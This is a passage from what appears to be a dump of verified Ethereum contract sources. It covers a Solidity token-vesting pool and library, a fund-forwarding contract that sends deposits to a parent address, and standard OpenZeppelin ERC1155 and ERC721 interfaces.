uint32(raw);\n valueBefore = uint32(raw >> 32);\n effect = uint48(raw >> 64);\n\n return (valueBefore, valueAfter, effect);\n }\n\n /**\n * @dev pack the components into a Delay object.\n */\n function pack(uint32 valueBefore, uint32 valueAfter, uint48 effect) internal pure returns (Delay) {\n return Delay.wrap((uint112(effect) << 64) | (uint112(valueBefore) << 32) | uint112(valueAfter));\n }\n}\n"
},
"contracts/libraries/VestingLibrary.sol": {
"content": "/// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.8.22 <0.9.0;\n\nlibrary VestingLibrary {\n bytes32 private constant DOMAIN_SEPARATOR_TYPEHASH =\n keccak256(\"EIP712Domain(string name,string version)\");\n\n bytes32 private constant VESTING_TYPEHASH =\n keccak256(\n \"Vesting(address owner,uint8 curveType,bool managed,uint16 durationWeeks,uint64 startDate,uint128 amount,uint128 initialUnlock,bool requiresSPT)\"\n );\n\n // Sane limits based on: https://eips.ethereum.org/EIPS/eip-1985\n // amountClaimed should always be equal to or less than amount\n // pausingDate should always be equal to or greater than startDate\n struct Vesting {\n // First storage slot\n uint128 initialUnlock; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n uint8 curveType; // 1 byte -> Max 256 different curve types\n bool managed; // 1 byte\n uint16 durationWeeks; // 2 bytes -> Max 65536 weeks ~ 1260 years\n uint64 startDate; // 8 bytes -> Works until year 292278994, but not before 1970\n // Second storage slot\n uint128 amount; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n uint128 amountClaimed; // 16 bytes -> Max 3.4e20 tokens (including decimals)\n // Third storage slot\n uint64 pausingDate; // 8 bytes -> Works until year 292278994, but not before 1970\n bool cancelled; // 1 byte\n bool requiresSPT; // 1 byte\n }\n\n /// @notice Calculate the id for a vesting based on its parameters.\n /// @param owner The owner for which the vesting was created\n /// @param curveType Type of the curve that is used for the vesting\n /// @param managed Indicator if the vesting is managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting started (can be in the future)\n /// @param amount Amount of tokens that are vested in atoms\n /// @param initialUnlock Amount of tokens that are unlocked immediately in atoms\n /// @return vestingId Id of a vesting based on its parameters\n function vestingHash(\n address owner,\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) external pure returns (bytes32 vestingId) {\n bytes32 domainSeparator = keccak256(\n abi.encode(DOMAIN_SEPARATOR_TYPEHASH, \"VestingLibrary\", \"1.0\")\n );\n bytes32 vestingDataHash = keccak256(\n abi.encode(\n VESTING_TYPEHASH,\n owner,\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n )\n );\n vestingId = keccak256(\n abi.encodePacked(\n bytes1(0x19),\n bytes1(0x01),\n domainSeparator,\n vestingDataHash\n )\n );\n }\n}\n"
},
"contracts/VestingPool.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.8.22 <0.9.0;\n\nimport { ERC20Votes } from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol\";\nimport { VestingLibrary } from \"./libraries/VestingLibrary.sol\";\nimport { IERC20 } from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\n/// @title Vesting contract for single account\n/// Original contract - https://github.com/safe-global/safe-token/blob/main/contracts/VestingPool.sol\n/// @author Daniel Dimitrov - @compojoom, Fred Lührs - @fredo\ncontract VestingPool {\n event AddedVesting(bytes32 indexed id);\n event ClaimedVesting(bytes32 indexed id, address indexed beneficiary);\n event PausedVesting(bytes32 indexed id);\n event UnpausedVesting(bytes32 indexed id);\n event CancelledVesting(bytes32 indexed id);\n\n bool public initialised;\n address public owner;\n\n address public token;\n address public immutable sptToken;\n address public poolManager;\n\n uint256 public totalTokensInVesting;\n mapping(bytes32 => VestingLibrary.Vesting) public vestings;\n\n modifier onlyPoolManager() {\n require(\n msg.sender == poolManager,\n \"Can only be called by pool manager\"\n );\n _;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Can only be claimed by vesting owner\");\n _;\n }\n\n // solhint-disable-next-line no-empty-blocks\n constructor(address _sptToken) {\n sptToken = _sptToken;\n // don't do anything else here to allow usage of proxy contracts.\n }\n\n /// @notice Initialize the vesting pool\n /// @dev This can only be called once\n /// @param _token The token that should be used for the vesting\n /// @param _poolManager The manager of this vesting pool (e.g. the address that can call `addVesting`)\n /// @param _owner The owner of this vesting pool (e.g. the address that can call `delegateTokens`)\n function initialize(\n address _token,\n address _poolManager,\n address _owner\n ) public {\n require(!initialised, \"The contract has already been initialised.\");\n require(_token != address(0), \"Invalid token account\");\n require(_poolManager != address(0), \"Invalid pool manager account\");\n require(_owner != address(0), \"Invalid account\");\n\n initialised = true;\n\n token = _token;\n poolManager = _poolManager;\n\n owner = _owner;\n }\n\n function delegateTokens(address delegatee) external onlyOwner {\n ERC20Votes(token).delegate(delegatee);\n }\n\n /// @notice Create a vesting on this pool for `account`.\n /// @dev This can only be called by the pool manager\n /// @dev It is required that the pool has enough tokens available\n /// @param curveType Type of the curve that should be used for the vesting\n /// @param managed Boolean that indicates if the vesting can be managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting should be started (can be in the past)\n /// @param amount Amount of tokens that should be vested in atoms\n /// @param initialUnlock Amount of tokens that should be unlocked immediately\n /// @return vestingId The id of the created vesting\n function addVesting(\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) public virtual onlyPoolManager returns (bytes32) {\n return\n _addVesting(\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n );\n }\n\n /// @notice Calculate the amount of tokens available for new vestings.\n /// @dev This value changes when more tokens are deposited to this contract\n /// @return Amount of tokens that can be used for new vestings.\n function tokensAvailableForVesting() public view virtual returns (uint256) {\n return\n ERC20Votes(token).balanceOf(address(this)) - totalTokensInVesting;\n }\n\n /// @notice Create a vesting on this pool for `account`.\n /// @dev It is required that the pool has enough tokens available\n /// @dev Account cannot be zero address\n /// @param curveType Type of the curve that should be used for the vesting\n /// @param managed Boolean that indicates if the vesting can be managed by the pool manager\n /// @param durationWeeks The duration of the vesting in weeks\n /// @param startDate The date when the vesting should be started (can be in the past)\n /// @param amount Amount of tokens that should be vested in atoms\n /// @param vestingId The id of the created vesting\n function _addVesting(\n uint8 curveType,\n bool managed,\n uint16 durationWeeks,\n uint64 startDate,\n uint128 amount,\n uint128 initialUnlock,\n bool requiresSPT\n ) internal returns (bytes32 vestingId) {\n require(curveType < 2, \"Invalid vesting curve\");\n vestingId = VestingLibrary.vestingHash(\n owner,\n curveType,\n managed,\n durationWeeks,\n startDate,\n amount,\n initialUnlock,\n requiresSPT\n );\n require(vestings[vestingId].amount == 0, \"Vesting id already used\");\n // Check that enough tokens are available for the new vesting\n uint256 availableTokens = tokensAvailableForVesting();\n require(availableTokens >= amount, \"Not enough tokens available\");\n // Mark tokens for this vesting in use\n totalTokensInVesting += amount;\n vestings[vestingId] = VestingLibrary.Vesting({\n curveType: curveType,\n managed: managed,\n durationWeeks: durationWeeks,\n startDate: startDate,\n amount: amount,\n amountClaimed: 0,\n pausingDate: 0,\n cancelled: false,\n initialUnlock: initialUnlock,\n requiresSPT: requiresSPT\n });\n emit AddedVesting(vestingId);\n }\n\n /// @notice Claim `tokensToClaim` tokens from vesting `vestingId` and transfer them to the `beneficiary`.\n /// @dev This can only be called by the owner of the vesting\n /// @dev Beneficiary cannot be the 0-address\n /// @dev This will trigger a transfer of tokens\n /// @param vestingId Id of the vesting from which the tokens should be claimed\n /// @param beneficiary Account that should receive the claimed tokens\n /// @param tokensToClaim Amount of tokens to claim in atoms or max uint128 to claim all available\n function claimVestedTokens(\n bytes32 vestingId,\n address beneficiary,\n uint128 tokensToClaim\n ) public {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n\n uint128 tokensClaimed = updateClaimedTokens(\n vestingId,\n beneficiary,\n tokensToClaim\n );\n\n if(vesting.requiresSPT) {\n require(\n IERC20(sptToken).transferFrom(msg.sender, address(this), tokensClaimed),\n \"SPT transfer failed\"\n );\n }\n\n require(\n ERC20Votes(token).transfer(beneficiary, tokensClaimed),\n \"Token transfer failed\"\n );\n }\n\n /// @notice Update `amountClaimed` on vesting `vestingId` by `tokensToClaim` tokens.\n /// @dev This can only be called by the owner of the vesting\n /// @dev Beneficiary cannot be the 0-address\n /// @dev This will only update the internal state and NOT trigger the transfer of tokens.\n /// @param vestingId Id of the vesting from which the tokens should be claimed\n /// @param beneficiary Account that should receive the claimed tokens\n /// @param tokensToClaim Amount of tokens to claim in atoms or max uint128 to claim all available\n /// @param tokensClaimed Amount of tokens that have been newly claimed by calling this method\n function updateClaimedTokens(\n bytes32 vestingId,\n address beneficiary,\n uint128 tokensToClaim\n ) internal onlyOwner returns (uint128 tokensClaimed) {\n require(beneficiary != address(0), \"Cannot claim to 0-address\");\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n // Calculate how many tokens can be claimed\n uint128 availableClaim = _calculateVestedAmount(vesting) -\n vesting.amountClaimed;\n // If max uint128 is used, claim all available tokens.\n tokensClaimed = tokensToClaim == type(uint128).max\n ? availableClaim\n : tokensToClaim;\n require(\n tokensClaimed <= availableClaim,\n \"Trying to claim too many tokens\"\n );\n // Adjust how many tokens are locked in vesting\n totalTokensInVesting -= tokensClaimed;\n vesting.amountClaimed += tokensClaimed;\n emit ClaimedVesting(vestingId, beneficiary);\n }\n\n /// @notice Cancel vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only manageable vestings can be cancelled\n /// @param vestingId Id of the vesting that should be cancelled\n function cancelVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.managed, \"Only managed vestings can be cancelled\");\n require(!vesting.cancelled, \"Vesting already cancelled\");\n bool isFutureVesting = block.timestamp <= vesting.startDate;\n // If vesting is not already paused it will be paused\n // Pausing date should not be reset else tokens of the initial pause can be claimed\n if (vesting.pausingDate == 0) {\n // pausingDate should always be larger or equal to startDate\n vesting.pausingDate = isFutureVesting\n ? vesting.startDate\n : uint64(block.timestamp);\n }\n // Vesting is cancelled, therefore tokens that are not vested yet, will be added back to the pool\n uint128 unusedToken = isFutureVesting\n ? vesting.amount\n : vesting.amount - _calculateVestedAmount(vesting);\n totalTokensInVesting -= unusedToken;\n // Vesting is set to cancelled and therefore disallows unpausing\n vesting.cancelled = true;\n emit CancelledVesting(vestingId);\n }\n\n /// @notice Pause vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only manageable vestings can be paused\n /// @param vestingId Id of the vesting that should be paused\n function pauseVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.managed, \"Only managed vestings can be paused\");\n require(vesting.pausingDate == 0, \"Vesting already paused\");\n // pausingDate should always be larger or equal to startDate\n vesting.pausingDate = block.timestamp <= vesting.startDate\n ? vesting.startDate\n : uint64(block.timestamp);\n emit PausedVesting(vestingId);\n }\n\n /// @notice Unpause vesting `vestingId`.\n /// @dev This can only be called by the pool manager\n /// @dev Only vestings that have not been cancelled can be unpaused\n /// @param vestingId Id of the vesting that should be unpaused\n function unpauseVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.pausingDate != 0, \"Vesting is not paused\");\n require(\n !vesting.cancelled,\n \"Vesting has been cancelled and cannot be unpaused\"\n );\n // Calculate the time the vesting was paused\n // If vesting has not started yet, then pausing date might be in the future\n uint64 timePaused = block.timestamp <= vesting.pausingDate\n ? 0\n : uint64(block.timestamp) - vesting.pausingDate;\n // Offset the start date to create the effect of pausing\n vesting.startDate = vesting.startDate + timePaused;\n vesting.pausingDate = 0;\n emit UnpausedVesting(vestingId);\n }\n\n /// @notice Calculate vested and claimed token amounts for vesting `vestingId`.\n /// @dev This will revert if the vesting has not been started yet\n /// @param vestingId Id of the vesting for which to calculate the amounts\n /// @return vestedAmount The amount in atoms of tokens vested\n /// @return claimedAmount The amount in atoms of tokens claimed\n function calculateVestedAmount(\n bytes32 vestingId\n ) external view returns (uint128 vestedAmount, uint128 claimedAmount) {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n vestedAmount = _calculateVestedAmount(vesting);\n claimedAmount = vesting.amountClaimed;\n }\n\n /// @notice Calculate vested token amount for vesting `vesting`.\n /// @dev This will revert if the vesting has not been started yet\n /// @param vesting The vesting for which to calculate the amounts\n /// @return vestedAmount The amount in atoms of tokens vested\n function _calculateVestedAmount(\n VestingLibrary.Vesting storage vesting\n ) internal view returns (uint128 vestedAmount) {\n require(vesting.startDate <= block.timestamp, \"Vesting not active yet\");\n // Convert vesting duration to seconds\n uint64 durationSeconds = uint64(vesting.durationWeeks) *\n 7 *\n 24 *\n 60 *\n 60;\n // If contract is paused use the pausing date to calculate amount\n uint64 vestedSeconds = vesting.pausingDate > 0\n ? vesting.pausingDate - vesting.startDate\n : uint64(block.timestamp) - vesting.startDate;\n if (vestedSeconds >= durationSeconds) {\n // If vesting time is longer than duration everything has been vested\n vestedAmount = vesting.amount;\n } else if (vesting.curveType == 0) {\n // Linear vesting\n vestedAmount =\n calculateLinear(\n vesting.amount - vesting.initialUnlock,\n vestedSeconds,\n durationSeconds\n ) +\n vesting.initialUnlock;\n } else if (vesting.curveType == 1) {\n // Exponential vesting\n vestedAmount =\n calculateExponential(\n vesting.amount - vesting.initialUnlock,\n vestedSeconds,\n durationSeconds\n ) +\n vesting.initialUnlock;\n } else {\n // This is unreachable because it is not possible to add a vesting with an invalid curve type\n revert(\"Invalid curve type\");\n }\n }\n\n /// @notice Calculate vested token amount on a linear curve.\n /// @dev Calculate vested amount on linear curve: targetAmount * elapsedTime / totalTime\n /// @param targetAmount Amount of tokens that is being vested\n /// @param elapsedTime Time that has elapsed for the vesting\n /// @param totalTime Duration of the vesting\n /// @return Tokens that have been vested on a linear curve\n function calculateLinear(\n uint128 targetAmount,\n uint64 elapsedTime,\n uint64 totalTime\n ) internal pure returns (uint128) {\n // Calculate vested amount on linear curve: targetAmount * elapsedTime / totalTime\n uint256 amount = (uint256(targetAmount) * uint256(elapsedTime)) /\n uint256(totalTime);\n require(amount <= type(uint128).max, \"Overflow in curve calculation\");\n return uint128(amount);\n }\n\n /// @notice Calculate vested token amount on an exponential curve.\n /// @dev Calculate vested amount on exponential curve: targetAmount * elapsedTime^2 / totalTime^2\n /// @param targetAmount Amount of tokens that is being vested\n /// @param elapsedTime Time that has elapsed for the vesting\n /// @param totalTime Duration of the vesting\n /// @return Tokens that have been vested on an exponential curve\n function calculateExponential(\n uint128 targetAmount,\n uint64 elapsedTime,\n uint64 totalTime\n ) internal pure returns (uint128) {\n // Calculate vested amount on exponential curve: targetAmount * elapsedTime^2 / totalTime^2\n uint256 amount = (uint256(targetAmount) *\n uint256(elapsedTime) *\n uint256(elapsedTime)) / (uint256(totalTime) * uint256(totalTime));\n require(amount <= type(uint128).max, \"Overflow in curve calculation\");\n return uint128(amount);\n }\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {
"contracts/libraries/VestingLibrary.sol": {
"VestingLibrary": "0x99fad8b3658d185474e13d1be98660dc30077b26"
}
}
}
}} |
1 | 19,494,977 | 2ab54ce0072595a357c4f03c191b254c62d76b9381ffb18ef0a0d0cc1cd99b34 | d687ac263501a1a460648f507151fc20c9b6276d0cafab29113a16395b48d45d | 41ed843a086f44b8cb23decc8170c132bc257874 | 29ef46035e9fa3d570c598d3266424ca11413b0c | 6e28f6d2611f36d8e5dfd1663e8848f9312c27dd | 3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * 